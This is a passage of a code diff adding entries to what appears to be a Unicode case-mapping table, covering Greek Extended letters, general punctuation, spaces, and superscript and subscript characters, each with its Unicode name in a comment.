+ [0x1f4d, 0x1f45], /* GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA */
+ [0x1f46, 0x1f46],
+ [0x1f47, 0x1f47],
+ [0x1f48, 0x1f40], /* GREEK CAPITAL LETTER OMICRON WITH PSILI */
+ [0x1f49, 0x1f41], /* GREEK CAPITAL LETTER OMICRON WITH DASIA */
+ [0x1f4a, 0x1f42], /* GREEK CAPITAL LETTER OMICRON WITH PSILI AND VARIA */
+ [0x1f4b, 0x1f43], /* GREEK CAPITAL LETTER OMICRON WITH DASIA AND VARIA */
+ [0x1f4c, 0x1f44], /* GREEK CAPITAL LETTER OMICRON WITH PSILI AND OXIA */
+ [0x1f4d, 0x1f45], /* GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA */
+ [0x1f4e, 0x1f4e],
+ [0x1f4f, 0x1f4f],
+ [0x1f50, 0x1f50], /* GREEK SMALL LETTER UPSILON WITH PSILI */
+ [0x1f59, 0x1f51], /* GREEK SMALL LETTER UPSILON WITH DASIA */
+ [0x1f52, 0x1f52], /* GREEK SMALL LETTER UPSILON WITH PSILI AND VARIA */
+ [0x1f5b, 0x1f53], /* GREEK SMALL LETTER UPSILON WITH DASIA AND VARIA */
+ [0x1f54, 0x1f54], /* GREEK SMALL LETTER UPSILON WITH PSILI AND OXIA */
+ [0x1f5d, 0x1f55], /* GREEK SMALL LETTER UPSILON WITH DASIA AND OXIA */
+ [0x1f56, 0x1f56], /* GREEK SMALL LETTER UPSILON WITH PSILI AND PERISPOMENI */
+ [0x1f5f, 0x1f57], /* GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI */
+ [0x1f58, 0x1f58],
+ [0x1f59, 0x1f51], /* GREEK CAPITAL LETTER UPSILON WITH DASIA */
+ [0x1f5a, 0x1f5a],
+ [0x1f5b, 0x1f53], /* GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA */
+ [0x1f5c, 0x1f5c],
+ [0x1f5d, 0x1f55], /* GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA */
+ [0x1f5e, 0x1f5e],
+ [0x1f5f, 0x1f57], /* GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI */
+ [0x1f68, 0x1f60], /* GREEK SMALL LETTER OMEGA WITH PSILI */
+ [0x1f69, 0x1f61], /* GREEK SMALL LETTER OMEGA WITH DASIA */
+ [0x1f6a, 0x1f62], /* GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA */
+ [0x1f6b, 0x1f63], /* GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA */
+ [0x1f6c, 0x1f64], /* GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA */
+ [0x1f6d, 0x1f65], /* GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA */
+ [0x1f6e, 0x1f66], /* GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI */
+ [0x1f6f, 0x1f67], /* GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI */
+ [0x1f68, 0x1f60], /* GREEK CAPITAL LETTER OMEGA WITH PSILI */
+ [0x1f69, 0x1f61], /* GREEK CAPITAL LETTER OMEGA WITH DASIA */
+ [0x1f6a, 0x1f62], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA */
+ [0x1f6b, 0x1f63], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA */
+ [0x1f6c, 0x1f64], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA */
+ [0x1f6d, 0x1f65], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA */
+ [0x1f6e, 0x1f66], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI */
+ [0x1f6f, 0x1f67], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI */
+ [0x1fba, 0x1f70], /* GREEK SMALL LETTER ALPHA WITH VARIA */
+ [0x1fbb, 0x1f71], /* GREEK SMALL LETTER ALPHA WITH OXIA */
+ [0x1fc8, 0x1f72], /* GREEK SMALL LETTER EPSILON WITH VARIA */
+ [0x1fc9, 0x1f73], /* GREEK SMALL LETTER EPSILON WITH OXIA */
+ [0x1fca, 0x1f74], /* GREEK SMALL LETTER ETA WITH VARIA */
+ [0x1fcb, 0x1f75], /* GREEK SMALL LETTER ETA WITH OXIA */
+ [0x1fda, 0x1f76], /* GREEK SMALL LETTER IOTA WITH VARIA */
+ [0x1fdb, 0x1f77], /* GREEK SMALL LETTER IOTA WITH OXIA */
+ [0x1ff8, 0x1f78], /* GREEK SMALL LETTER OMICRON WITH VARIA */
+ [0x1ff9, 0x1f79], /* GREEK SMALL LETTER OMICRON WITH OXIA */
+ [0x1fea, 0x1f7a], /* GREEK SMALL LETTER UPSILON WITH VARIA */
+ [0x1feb, 0x1f7b], /* GREEK SMALL LETTER UPSILON WITH OXIA */
+ [0x1ffa, 0x1f7c], /* GREEK SMALL LETTER OMEGA WITH VARIA */
+ [0x1ffb, 0x1f7d], /* GREEK SMALL LETTER OMEGA WITH OXIA */
+ [0x1f7e, 0x1f7e],
+ [0x1f7f, 0x1f7f],
+ [0x1f88, 0x1f80], /* GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI */
+ [0x1f89, 0x1f81], /* GREEK SMALL LETTER ALPHA WITH DASIA AND YPOGEGRAMMENI */
+ [0x1f8a, 0x1f82], /* GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA AND YPOGEGRAMMENI */
+ [0x1f8b, 0x1f83], /* GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA AND YPOGEGRAMMENI */
+ [0x1f8c, 0x1f84], /* GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA AND YPOGEGRAMMENI */
+ [0x1f8d, 0x1f85], /* GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA AND YPOGEGRAMMENI */
+ [0x1f8e, 0x1f86], /* GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI */
+ [0x1f8f, 0x1f87], /* GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI */
+ [0x1f88, 0x1f80], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND PROSGEGRAMMENI */
+ [0x1f89, 0x1f81], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND PROSGEGRAMMENI */
+ [0x1f8a, 0x1f82], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA AND PROSGEGRAMMENI */
+ [0x1f8b, 0x1f83], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA AND PROSGEGRAMMENI */
+ [0x1f8c, 0x1f84], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA AND PROSGEGRAMMENI */
+ [0x1f8d, 0x1f85], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA AND PROSGEGRAMMENI */
+ [0x1f8e, 0x1f86], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI */
+ [0x1f8f, 0x1f87], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI */
+ [0x1f98, 0x1f90], /* GREEK SMALL LETTER ETA WITH PSILI AND YPOGEGRAMMENI */
+ [0x1f99, 0x1f91], /* GREEK SMALL LETTER ETA WITH DASIA AND YPOGEGRAMMENI */
+ [0x1f9a, 0x1f92], /* GREEK SMALL LETTER ETA WITH PSILI AND VARIA AND YPOGEGRAMMENI */
+ [0x1f9b, 0x1f93], /* GREEK SMALL LETTER ETA WITH DASIA AND VARIA AND YPOGEGRAMMENI */
+ [0x1f9c, 0x1f94], /* GREEK SMALL LETTER ETA WITH PSILI AND OXIA AND YPOGEGRAMMENI */
+ [0x1f9d, 0x1f95], /* GREEK SMALL LETTER ETA WITH DASIA AND OXIA AND YPOGEGRAMMENI */
+ [0x1f9e, 0x1f96], /* GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI */
+ [0x1f9f, 0x1f97], /* GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI */
+ [0x1f98, 0x1f90], /* GREEK CAPITAL LETTER ETA WITH PSILI AND PROSGEGRAMMENI */
+ [0x1f99, 0x1f91], /* GREEK CAPITAL LETTER ETA WITH DASIA AND PROSGEGRAMMENI */
+ [0x1f9a, 0x1f92], /* GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA AND PROSGEGRAMMENI */
+ [0x1f9b, 0x1f93], /* GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA AND PROSGEGRAMMENI */
+ [0x1f9c, 0x1f94], /* GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA AND PROSGEGRAMMENI */
+ [0x1f9d, 0x1f95], /* GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA AND PROSGEGRAMMENI */
+ [0x1f9e, 0x1f96], /* GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI */
+ [0x1f9f, 0x1f97], /* GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI */
+ [0x1fa8, 0x1fa0], /* GREEK SMALL LETTER OMEGA WITH PSILI AND YPOGEGRAMMENI */
+ [0x1fa9, 0x1fa1], /* GREEK SMALL LETTER OMEGA WITH DASIA AND YPOGEGRAMMENI */
+ [0x1faa, 0x1fa2], /* GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA AND YPOGEGRAMMENI */
+ [0x1fab, 0x1fa3], /* GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA AND YPOGEGRAMMENI */
+ [0x1fac, 0x1fa4], /* GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA AND YPOGEGRAMMENI */
+ [0x1fad, 0x1fa5], /* GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA AND YPOGEGRAMMENI */
+ [0x1fae, 0x1fa6], /* GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI */
+ [0x1faf, 0x1fa7], /* GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI */
+ [0x1fa8, 0x1fa0], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND PROSGEGRAMMENI */
+ [0x1fa9, 0x1fa1], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND PROSGEGRAMMENI */
+ [0x1faa, 0x1fa2], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA AND PROSGEGRAMMENI */
+ [0x1fab, 0x1fa3], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA AND PROSGEGRAMMENI */
+ [0x1fac, 0x1fa4], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA AND PROSGEGRAMMENI */
+ [0x1fad, 0x1fa5], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA AND PROSGEGRAMMENI */
+ [0x1fae, 0x1fa6], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI */
+ [0x1faf, 0x1fa7], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI */
+ [0x1fb8, 0x1fb0], /* GREEK SMALL LETTER ALPHA WITH VRACHY */
+ [0x1fb9, 0x1fb1], /* GREEK SMALL LETTER ALPHA WITH MACRON */
+ [0x1fb2, 0x1fb2], /* GREEK SMALL LETTER ALPHA WITH VARIA AND YPOGEGRAMMENI */
+ [0x1fbc, 0x1fb3], /* GREEK SMALL LETTER ALPHA WITH YPOGEGRAMMENI */
+ [0x1fb4, 0x1fb4], /* GREEK SMALL LETTER ALPHA WITH OXIA AND YPOGEGRAMMENI */
+ [0x1fb5, 0x1fb5],
+ [0x1fb6, 0x1fb6], /* GREEK SMALL LETTER ALPHA WITH PERISPOMENI */
+ [0x1fb7, 0x1fb7], /* GREEK SMALL LETTER ALPHA WITH PERISPOMENI AND YPOGEGRAMMENI */
+ [0x1fb8, 0x1fb0], /* GREEK CAPITAL LETTER ALPHA WITH VRACHY */
+ [0x1fb9, 0x1fb1], /* GREEK CAPITAL LETTER ALPHA WITH MACRON */
+ [0x1fba, 0x1f70], /* GREEK CAPITAL LETTER ALPHA WITH VARIA */
+ [0x1fbb, 0x1f71], /* GREEK CAPITAL LETTER ALPHA WITH OXIA */
+ [0x1fbc, 0x1fb3], /* GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI */
+ [0x1fbd, 0x1fbd], /* GREEK KORONIS */
+ [0x399, 0x1fbe], /* GREEK PROSGEGRAMMENI */
+ [0x1fbf, 0x1fbf], /* GREEK PSILI */
+ [0x1fc0, 0x1fc0], /* GREEK PERISPOMENI */
+ [0x1fc1, 0x1fc1], /* GREEK DIALYTIKA AND PERISPOMENI */
+ [0x1fc2, 0x1fc2], /* GREEK SMALL LETTER ETA WITH VARIA AND YPOGEGRAMMENI */
+ [0x1fcc, 0x1fc3], /* GREEK SMALL LETTER ETA WITH YPOGEGRAMMENI */
+ [0x1fc4, 0x1fc4], /* GREEK SMALL LETTER ETA WITH OXIA AND YPOGEGRAMMENI */
+ [0x1fc5, 0x1fc5],
+ [0x1fc6, 0x1fc6], /* GREEK SMALL LETTER ETA WITH PERISPOMENI */
+ [0x1fc7, 0x1fc7], /* GREEK SMALL LETTER ETA WITH PERISPOMENI AND YPOGEGRAMMENI */
+ [0x1fc8, 0x1f72], /* GREEK CAPITAL LETTER EPSILON WITH VARIA */
+ [0x1fc9, 0x1f73], /* GREEK CAPITAL LETTER EPSILON WITH OXIA */
+ [0x1fca, 0x1f74], /* GREEK CAPITAL LETTER ETA WITH VARIA */
+ [0x1fcb, 0x1f75], /* GREEK CAPITAL LETTER ETA WITH OXIA */
+ [0x1fcc, 0x1fc3], /* GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI */
+ [0x1fcd, 0x1fcd], /* GREEK PSILI AND VARIA */
+ [0x1fce, 0x1fce], /* GREEK PSILI AND OXIA */
+ [0x1fcf, 0x1fcf], /* GREEK PSILI AND PERISPOMENI */
+ [0x1fd8, 0x1fd0], /* GREEK SMALL LETTER IOTA WITH VRACHY */
+ [0x1fd9, 0x1fd1], /* GREEK SMALL LETTER IOTA WITH MACRON */
+ [0x1fd2, 0x1fd2], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA AND VARIA */
+ [0x1fd3, 0x1fd3], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA AND OXIA */
+ [0x1fd4, 0x1fd4],
+ [0x1fd5, 0x1fd5],
+ [0x1fd6, 0x1fd6], /* GREEK SMALL LETTER IOTA WITH PERISPOMENI */
+ [0x1fd7, 0x1fd7], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA AND PERISPOMENI */
+ [0x1fd8, 0x1fd0], /* GREEK CAPITAL LETTER IOTA WITH VRACHY */
+ [0x1fd9, 0x1fd1], /* GREEK CAPITAL LETTER IOTA WITH MACRON */
+ [0x1fda, 0x1f76], /* GREEK CAPITAL LETTER IOTA WITH VARIA */
+ [0x1fdb, 0x1f77], /* GREEK CAPITAL LETTER IOTA WITH OXIA */
+ [0x1fdc, 0x1fdc],
+ [0x1fdd, 0x1fdd], /* GREEK DASIA AND VARIA */
+ [0x1fde, 0x1fde], /* GREEK DASIA AND OXIA */
+ [0x1fdf, 0x1fdf], /* GREEK DASIA AND PERISPOMENI */
+ [0x1fe8, 0x1fe0], /* GREEK SMALL LETTER UPSILON WITH VRACHY */
+ [0x1fe9, 0x1fe1], /* GREEK SMALL LETTER UPSILON WITH MACRON */
+ [0x1fe2, 0x1fe2], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND VARIA */
+ [0x1fe3, 0x1fe3], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND OXIA */
+ [0x1fe4, 0x1fe4], /* GREEK SMALL LETTER RHO WITH PSILI */
+ [0x1fec, 0x1fe5], /* GREEK SMALL LETTER RHO WITH DASIA */
+ [0x1fe6, 0x1fe6], /* GREEK SMALL LETTER UPSILON WITH PERISPOMENI */
+ [0x1fe7, 0x1fe7], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND PERISPOMENI */
+ [0x1fe8, 0x1fe0], /* GREEK CAPITAL LETTER UPSILON WITH VRACHY */
+ [0x1fe9, 0x1fe1], /* GREEK CAPITAL LETTER UPSILON WITH MACRON */
+ [0x1fea, 0x1f7a], /* GREEK CAPITAL LETTER UPSILON WITH VARIA */
+ [0x1feb, 0x1f7b], /* GREEK CAPITAL LETTER UPSILON WITH OXIA */
+ [0x1fec, 0x1fe5], /* GREEK CAPITAL LETTER RHO WITH DASIA */
+ [0x1fed, 0x1fed], /* GREEK DIALYTIKA AND VARIA */
+ [0x1fee, 0x1fee], /* GREEK DIALYTIKA AND OXIA */
+ [0x1fef, 0x1fef], /* GREEK VARIA */
+ [0x1ff0, 0x1ff0],
+ [0x1ff1, 0x1ff1],
+ [0x1ff2, 0x1ff2], /* GREEK SMALL LETTER OMEGA WITH VARIA AND YPOGEGRAMMENI */
+ [0x1ffc, 0x1ff3], /* GREEK SMALL LETTER OMEGA WITH YPOGEGRAMMENI */
+ [0x1ff4, 0x1ff4], /* GREEK SMALL LETTER OMEGA WITH OXIA AND YPOGEGRAMMENI */
+ [0x1ff5, 0x1ff5],
+ [0x1ff6, 0x1ff6], /* GREEK SMALL LETTER OMEGA WITH PERISPOMENI */
+ [0x1ff7, 0x1ff7], /* GREEK SMALL LETTER OMEGA WITH PERISPOMENI AND YPOGEGRAMMENI */
+ [0x1ff8, 0x1f78], /* GREEK CAPITAL LETTER OMICRON WITH VARIA */
+ [0x1ff9, 0x1f79], /* GREEK CAPITAL LETTER OMICRON WITH OXIA */
+ [0x1ffa, 0x1f7c], /* GREEK CAPITAL LETTER OMEGA WITH VARIA */
+ [0x1ffb, 0x1f7d], /* GREEK CAPITAL LETTER OMEGA WITH OXIA */
+ [0x1ffc, 0x1ff3], /* GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI */
+ [0x1ffd, 0x1ffd], /* GREEK OXIA */
+ [0x1ffe, 0x1ffe], /* GREEK DASIA */
+ [0x1fff, 0x1fff],
+ [0x2000, 0x2000], /* EN QUAD */
+ [0x2001, 0x2001], /* EM QUAD */
+ [0x2002, 0x2002], /* EN SPACE */
+ [0x2003, 0x2003], /* EM SPACE */
+ [0x2004, 0x2004], /* THREE-PER-EM SPACE */
+ [0x2005, 0x2005], /* FOUR-PER-EM SPACE */
+ [0x2006, 0x2006], /* SIX-PER-EM SPACE */
+ [0x2007, 0x2007], /* FIGURE SPACE */
+ [0x2008, 0x2008], /* PUNCTUATION SPACE */
+ [0x2009, 0x2009], /* THIN SPACE */
+ [0x200a, 0x200a], /* HAIR SPACE */
+ [0x200b, 0x200b], /* ZERO WIDTH SPACE */
+ [0x200c, 0x200c], /* ZERO WIDTH NON-JOINER */
+ [0x200d, 0x200d], /* ZERO WIDTH JOINER */
+ [0x200e, 0x200e], /* LEFT-TO-RIGHT MARK */
+ [0x200f, 0x200f], /* RIGHT-TO-LEFT MARK */
+ [0x2010, 0x2010], /* HYPHEN */
+ [0x2011, 0x2011], /* NON-BREAKING HYPHEN */
+ [0x2012, 0x2012], /* FIGURE DASH */
+ [0x2013, 0x2013], /* EN DASH */
+ [0x2014, 0x2014], /* EM DASH */
+ [0x2015, 0x2015], /* HORIZONTAL BAR (QUOTATION DASH) */
+ [0x2016, 0x2016], /* DOUBLE VERTICAL LINE (DOUBLE VERTICAL BAR) */
+ [0x2017, 0x2017], /* DOUBLE LOW LINE (SPACING DOUBLE UNDERSCORE) */
+ [0x2018, 0x2018], /* LEFT SINGLE QUOTATION MARK (SINGLE TURNED COMMA QUOTATION MARK) */
+ [0x2019, 0x2019], /* RIGHT SINGLE QUOTATION MARK (SINGLE COMMA QUOTATION MARK) */
+ [0x201a, 0x201a], /* SINGLE LOW-9 QUOTATION MARK (LOW SINGLE COMMA QUOTATION MARK) */
+ [0x201b, 0x201b], /* SINGLE HIGH-REVERSED-9 QUOTATION MARK (SINGLE REVERSED COMMA QUOTATION MARK) */
+ [0x201c, 0x201c], /* LEFT DOUBLE QUOTATION MARK (DOUBLE TURNED COMMA QUOTATION MARK) */
+ [0x201d, 0x201d], /* RIGHT DOUBLE QUOTATION MARK (DOUBLE COMMA QUOTATION MARK) */
+ [0x201e, 0x201e], /* DOUBLE LOW-9 QUOTATION MARK (LOW DOUBLE COMMA QUOTATION MARK) */
+ [0x201f, 0x201f], /* DOUBLE HIGH-REVERSED-9 QUOTATION MARK (DOUBLE REVERSED COMMA QUOTATION MARK) */
+ [0x2020, 0x2020], /* DAGGER */
+ [0x2021, 0x2021], /* DOUBLE DAGGER */
+ [0x2022, 0x2022], /* BULLET */
+ [0x2023, 0x2023], /* TRIANGULAR BULLET */
+ [0x2024, 0x2024], /* ONE DOT LEADER */
+ [0x2025, 0x2025], /* TWO DOT LEADER */
+ [0x2026, 0x2026], /* HORIZONTAL ELLIPSIS */
+ [0x2027, 0x2027], /* HYPHENATION POINT */
+ [0x2028, 0x2028], /* LINE SEPARATOR */
+ [0x2029, 0x2029], /* PARAGRAPH SEPARATOR */
+ [0x202a, 0x202a], /* LEFT-TO-RIGHT EMBEDDING */
+ [0x202b, 0x202b], /* RIGHT-TO-LEFT EMBEDDING */
+ [0x202c, 0x202c], /* POP DIRECTIONAL FORMATTING */
+ [0x202d, 0x202d], /* LEFT-TO-RIGHT OVERRIDE */
+ [0x202e, 0x202e], /* RIGHT-TO-LEFT OVERRIDE */
+ [0x202f, 0x202f], /* NARROW NO-BREAK SPACE */
+ [0x2030, 0x2030], /* PER MILLE SIGN */
+ [0x2031, 0x2031], /* PER TEN THOUSAND SIGN */
+ [0x2032, 0x2032], /* PRIME */
+ [0x2033, 0x2033], /* DOUBLE PRIME */
+ [0x2034, 0x2034], /* TRIPLE PRIME */
+ [0x2035, 0x2035], /* REVERSED PRIME */
+ [0x2036, 0x2036], /* REVERSED DOUBLE PRIME */
+ [0x2037, 0x2037], /* REVERSED TRIPLE PRIME */
+ [0x2038, 0x2038], /* CARET */
+ [0x2039, 0x2039], /* SINGLE LEFT-POINTING ANGLE QUOTATION MARK (LEFT POINTING SINGLE GUILLEMET) */
+ [0x203a, 0x203a], /* SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (RIGHT POINTING SINGLE GUILLEMET) */
+ [0x203b, 0x203b], /* REFERENCE MARK */
+ [0x203c, 0x203c], /* DOUBLE EXCLAMATION MARK */
+ [0x203d, 0x203d], /* INTERROBANG */
+ [0x203e, 0x203e], /* OVERLINE (SPACING OVERSCORE) */
+ [0x203f, 0x203f], /* UNDERTIE */
+ [0x2040, 0x2040], /* CHARACTER TIE */
+ [0x2041, 0x2041], /* CARET INSERTION POINT */
+ [0x2042, 0x2042], /* ASTERISM */
+ [0x2043, 0x2043], /* HYPHEN BULLET */
+ [0x2044, 0x2044], /* FRACTION SLASH */
+ [0x2045, 0x2045], /* LEFT SQUARE BRACKET WITH QUILL */
+ [0x2046, 0x2046], /* RIGHT SQUARE BRACKET WITH QUILL */
+ [0x2047, 0x2047], /* DOUBLE QUESTION MARK */
+ [0x2048, 0x2048], /* QUESTION EXCLAMATION MARK */
+ [0x2049, 0x2049], /* EXCLAMATION QUESTION MARK */
+ [0x204a, 0x204a], /* TIRONIAN SIGN ET */
+ [0x204b, 0x204b], /* REVERSED PILCROW SIGN */
+ [0x204c, 0x204c], /* BLACK LEFTWARDS BULLET */
+ [0x204d, 0x204d], /* BLACK RIGHTWARDS BULLET */
+ [0x204e, 0x204e], /* LOW ASTERISK */
+ [0x204f, 0x204f], /* REVERSED SEMICOLON */
+ [0x2050, 0x2050], /* CLOSE UP */
+ [0x2051, 0x2051], /* TWO ASTERISKS ALIGNED VERTICALLY */
+ [0x2052, 0x2052], /* COMMERCIAL MINUS SIGN */
+ [0x2053, 0x2053], /* SWUNG DASH */
+ [0x2054, 0x2054], /* INVERTED UNDERTIE */
+ [0x2055, 0x2055], /* FLOWER PUNCTUATION MARK */
+ [0x2056, 0x2056], /* THREE DOT PUNCTUATION */
+ [0x2057, 0x2057], /* QUADRUPLE PRIME */
+ [0x2058, 0x2058], /* FOUR DOT PUNCTUATION */
+ [0x2059, 0x2059], /* FIVE DOT PUNCTUATION */
+ [0x205a, 0x205a], /* TWO DOT PUNCTUATION */
+ [0x205b, 0x205b], /* FOUR DOT MARK */
+ [0x205c, 0x205c], /* DOTTED CROSS */
+ [0x205d, 0x205d], /* TRICOLON */
+ [0x205e, 0x205e], /* VERTICAL FOUR DOTS */
+ [0x205f, 0x205f], /* MEDIUM MATHEMATICAL SPACE */
+ [0x2060, 0x2060], /* WORD JOINER */
+ [0x2061, 0x2061], /* FUNCTION APPLICATION */
+ [0x2062, 0x2062], /* INVISIBLE TIMES */
+ [0x2063, 0x2063], /* INVISIBLE SEPARATOR */
+ [0x2064, 0x2064], /* INVISIBLE PLUS */
+ [0x2065, 0x2065],
+ [0x2066, 0x2066], /* LEFT-TO-RIGHT ISOLATE */
+ [0x2067, 0x2067], /* RIGHT-TO-LEFT ISOLATE */
+ [0x2068, 0x2068], /* FIRST STRONG ISOLATE */
+ [0x2069, 0x2069], /* POP DIRECTIONAL ISOLATE */
+ [0x206a, 0x206a], /* INHIBIT SYMMETRIC SWAPPING */
+ [0x206b, 0x206b], /* ACTIVATE SYMMETRIC SWAPPING */
+ [0x206c, 0x206c], /* INHIBIT ARABIC FORM SHAPING */
+ [0x206d, 0x206d], /* ACTIVATE ARABIC FORM SHAPING */
+ [0x206e, 0x206e], /* NATIONAL DIGIT SHAPES */
+ [0x206f, 0x206f], /* NOMINAL DIGIT SHAPES */
+ [0x2070, 0x2070], /* SUPERSCRIPT ZERO (SUPERSCRIPT DIGIT ZERO) */
+ [0x2071, 0x2071], /* SUPERSCRIPT LATIN SMALL LETTER I */
+ [0x2072, 0x2072],
+ [0x2073, 0x2073],
+ [0x2074, 0x2074], /* SUPERSCRIPT FOUR (SUPERSCRIPT DIGIT FOUR) */
+ [0x2075, 0x2075], /* SUPERSCRIPT FIVE (SUPERSCRIPT DIGIT FIVE) */
+ [0x2076, 0x2076], /* SUPERSCRIPT SIX (SUPERSCRIPT DIGIT SIX) */
+ [0x2077, 0x2077], /* SUPERSCRIPT SEVEN (SUPERSCRIPT DIGIT SEVEN) */
+ [0x2078, 0x2078], /* SUPERSCRIPT EIGHT (SUPERSCRIPT DIGIT EIGHT) */
+ [0x2079, 0x2079], /* SUPERSCRIPT NINE (SUPERSCRIPT DIGIT NINE) */
+ [0x207a, 0x207a], /* SUPERSCRIPT PLUS SIGN */
+ [0x207b, 0x207b], /* SUPERSCRIPT MINUS (SUPERSCRIPT HYPHEN-MINUS) */
+ [0x207c, 0x207c], /* SUPERSCRIPT EQUALS SIGN */
+ [0x207d, 0x207d], /* SUPERSCRIPT LEFT PARENTHESIS (SUPERSCRIPT OPENING PARENTHESIS) */
+ [0x207e, 0x207e], /* SUPERSCRIPT RIGHT PARENTHESIS (SUPERSCRIPT CLOSING PARENTHESIS) */
+ [0x207f, 0x207f], /* SUPERSCRIPT LATIN SMALL LETTER N */
+ [0x2080, 0x2080], /* SUBSCRIPT ZERO (SUBSCRIPT DIGIT ZERO) */
+ [0x2081, 0x2081], /* SUBSCRIPT ONE (SUBSCRIPT DIGIT ONE) */
+ [0x2082, 0x2082], /* SUBSCRIPT TWO (SUBSCRIPT DIGIT TWO) */
+ [0x2083, 0x2083], /* SUBSCRIPT THREE (SUBSCRIPT DIGIT THREE) */
+ [0x2084, 0x2084], /* SUBSCRIPT FOUR (SUBSCRIPT DIGIT FOUR) */
+ [0x2085, 0x2085], /* SUBSCRIPT FIVE (SUBSCRIPT DIGIT FIVE) */
+ [0x2086, 0x2086], /* SUBSCRIPT SIX (SUBSCRIPT DIGIT SIX) */
+ [0x2087, 0x2087], /* SUBSCRIPT SEVEN (SUBSCRIPT DIGIT SEVEN) */
+ [0x2088, 0x2088], /* SUBSCRIPT EIGHT (SUBSCRIPT DIGIT EIGHT) */
+ [0x2089, 0x2089], /* SUBSCRIPT NINE (SUBSCRIPT DIGIT NINE) */
+ [0x208a, 0x208a], /* SUBSCRIPT PLUS SIGN */
+ [0x208b, 0x208b], /* SUBSCRIPT MINUS (SUBSCRIPT HYPHEN-MINUS) */
+ [0x208c, 0x208c], /* SUBSCRIPT EQUALS SIGN */
+ [0x208d, 0x208d], /* SUBSCRIPT LEFT PARENTHESIS (SUBSCRIPT OPENING PARENTHESIS) */
+ [0x208e, 0x208e], /* SUBSCRIPT RIGHT PARENTHESIS (SUBSCRIPT CLOSING PARENTHESIS) */
+ [0x208f, 0x208f],
+ [0x2090, 0x2090], /* LATIN SUBSCRIPT SMALL LETTER A */
+ [0x2091, 0x2091], /* LATIN SUBSCRIPT SMALL LETTER E */
+ [0x2092, 0x2092], /* LATIN SUBSCRIPT SMALL LETTER O */
+ [0x2093, 0x2093], /* LATIN SUBSCRIPT SMALL LETTER X */
+ [0x2094, 0x2094], /* LATIN SUBSCRIPT SMALL LETTER SCHWA */
+ [0x2095, 0x2095], /* LATIN SUBSCRIPT SMALL LETTER H */
+ [0x2096, 0x2096], /* LATIN SUBSCRIPT SMALL LETTER K */
+ [0x2097, 0x2097], /* LATIN SUBSCRIPT SMALL LETTER L */
+ [0x2098, 0x2098], /* LATIN SUBSCRIPT SMALL LETTER M */
+ [0x2099, 0x2099], /* LATIN SUBSCRIPT SMALL LETTER N */
+ [0x209a, 0x209a], /* LATIN SUBSCRIPT SMALL LETTER P */
